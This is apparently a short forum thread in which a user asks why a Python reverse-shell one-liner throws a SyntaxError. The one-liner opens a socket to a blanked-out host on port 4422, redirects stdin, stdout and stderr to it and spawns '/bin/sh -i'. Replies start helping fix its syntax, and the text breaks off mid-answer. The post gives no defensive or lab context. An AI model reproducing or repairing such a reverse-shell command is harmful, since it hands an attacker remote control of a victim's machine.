Sysntax error

I am trying to get this python shell to work but I keep getting error. Do you know why? Ive tried a few diffrent ways

File “”, line 1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,4422));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);’
SyntaxError: invalid syntax

It looks like that your script is a bash script vs a python one (python -c should be run on the command line not in a .py file).

Try running the whole thing from the command line instead and see if that works (or try running the .py script without the “python -c” part).

remove the -c 'import socket,subprocess,os and at end make sure you have the commas “;”

not so ["/bin/sh","-i"]);’

but so